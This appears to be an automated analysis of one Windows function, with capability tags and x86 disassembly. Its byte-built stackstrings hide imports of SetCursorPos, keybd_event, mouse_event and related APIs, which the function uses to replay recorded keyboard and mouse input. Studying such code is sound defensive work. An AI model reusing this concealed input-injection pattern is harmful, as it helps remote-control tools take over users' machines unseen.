Function at 0x4102da
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push 0x1c
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x4105f4
call fcn.00417b83
mov eax, dword [ebp + 0xc]
push 0x1c
xor edx, edx
pop ecx
div ecx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x22], 0
mov ebx, str.USER32.dll
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x43
mov byte [ebp - 0x28], 0x61
mov byte [ebp - 0x27], 0x70
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x75
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x65
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x2c]
push eax
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 0x65], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x74]
mov byte [ebp - 0x74], 0x57
push eax
push ebx
mov byte [ebp - 0x73], 0x69
mov byte [ebp - 0x72], 0x6e
mov byte [ebp - 0x71], 0x64
mov byte [ebp - 0x70], 0x6f
mov byte [ebp - 0x6f], 0x77
mov byte [ebp - 0x6e], 0x46
mov byte [ebp - 0x6d], 0x72
mov byte [ebp - 0x6c], 0x6f
mov byte [ebp - 0x6b], 0x6d
mov byte [ebp - 0x6a], 0x50
mov byte [ebp - 0x69], 0x6f
mov byte [ebp - 0x68], 0x69
mov byte [ebp - 0x67], 0x6e
mov byte [ebp - 0x66], 0x74
call esi
push eax
call edi
and byte [ebp - 0x48], 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
mov byte [ebp - 0x54], 0x53
push eax
push ebx
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x43
mov byte [ebp - 0x50], 0x75
mov byte [ebp - 0x4f], 0x72
mov byte [ebp - 0x4e], 0x73
mov byte [ebp - 0x4d], 0x6f
mov byte [ebp - 0x4c], 0x72
mov byte [ebp - 0x4b], 0x50
mov byte [ebp - 0x4a], 0x6f
mov byte [ebp - 0x49], 0x73
call esi
push eax
call edi
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
test ecx, ecx
jle 0x4105f4
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
add eax, 8
mov dword [ebp + 0xc], eax
jmp 0x4103fb
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax - 4]
cmp ecx, 0x200
jb 0x410430
cmp ecx, 0x208
ja 0x410430
movzx ecx, word [eax + 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x20], ecx
shr eax, 0x10
push eax
push ecx
mov dword [ebp - 0x1c], eax
call dword [ebp - 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call dword [ebp - 0x14]
push eax
call dword [ebp - 0x18]
and byte [ebp - 0x2d], 0
lea eax, [ebp - 0x38]
push eax
push ebx
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x79
mov byte [ebp - 0x35], 0x62
mov byte [ebp - 0x34], 0x64
mov byte [ebp - 0x33], 0x5f
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x76
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x6e
mov byte [ebp - 0x2e], 0x74
call esi
push eax
call edi
and byte [ebp - 0x56], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 0x64], 0x4d
push eax
push ebx
mov byte [ebp - 0x63], 0x61
mov byte [ebp - 0x62], 0x70
mov byte [ebp - 0x61], 0x56
mov byte [ebp - 0x60], 0x69
mov byte [ebp - 0x5f], 0x72
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0x75
mov byte [ebp - 0x5c], 0x61
mov byte [ebp - 0x5b], 0x6c
mov byte [ebp - 0x5a], 0x4b
mov byte [ebp - 0x59], 0x65
mov byte [ebp - 0x58], 0x79
mov byte [ebp - 0x57], 0x41
call esi
push eax
call edi
and byte [ebp - 0x39], 0
mov dword [ebp + 8], eax
lea eax, [ebp - 0x44]
mov byte [ebp - 0x44], 0x6d
push eax
push ebx
mov byte [ebp - 0x43], 0x6f
mov byte [ebp - 0x42], 0x75
mov byte [ebp - 0x41], 0x73
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x5f
mov byte [ebp - 0x3e], 0x65
mov byte [ebp - 0x3d], 0x76
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x6e
mov byte [ebp - 0x3a], 0x74
call esi
push eax
call edi
mov ecx, dword [ebp + 0xc]
mov edx, 0x203
mov dword [ebp - 8], eax
mov ecx, dword [ecx - 4]
cmp ecx, edx
ja 0x410578
je 0x410564
sub ecx, 0x100
je 0x41055d
dec ecx
je 0x410540
sub ecx, 3
je 0x41055d
dec ecx
je 0x410540
sub ecx, 0xfc
je 0x410533
dec ecx
jne 0x4105e7
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 4
jmp 0x4105e5
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 2
jmp 0x4105e5
push 0
push 2
push 0
mov eax, dword [ebp + 0xc]
push dword [eax]
call dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
mov al, byte [eax]
push eax
call dword [ebp - 4]
jmp 0x4105e7
xor eax, eax
push eax
push eax
push eax
jmp 0x410546
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 6
call eax
xor eax, eax
push eax
push eax
push eax
push eax
push 6
jmp 0x4105ce
sub ecx, 0x204
je 0x4105dd
dec ecx
je 0x4105d3
dec ecx
je 0x4105bc
dec ecx
je 0x4105b2
dec ecx
je 0x4105a8
dec ecx
dec ecx
jne 0x4105e7
mov edx, dword [ebp + 0xc]
xor ecx, ecx
push ecx
mov edx, dword [edx]
shr edx, 0x10
movsx edx, dx
push edx
push ecx
push ecx
push 0x800
jmp 0x4105e5
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 0x40
jmp 0x4105e5
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 0x20
jmp 0x4105e5
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 0x18
call eax
xor eax, eax
push eax
push eax
push eax
push eax
push 0x18
call dword [ebp - 8]
jmp 0x4105e7
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 0x10
jmp 0x4105e5
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 8
call eax
add dword [ebp + 0xc], 0x1c
dec dword [ebp - 0xc]
jne 0x4103f8
pop edi
pop esi
pop ebx
leave
ret 8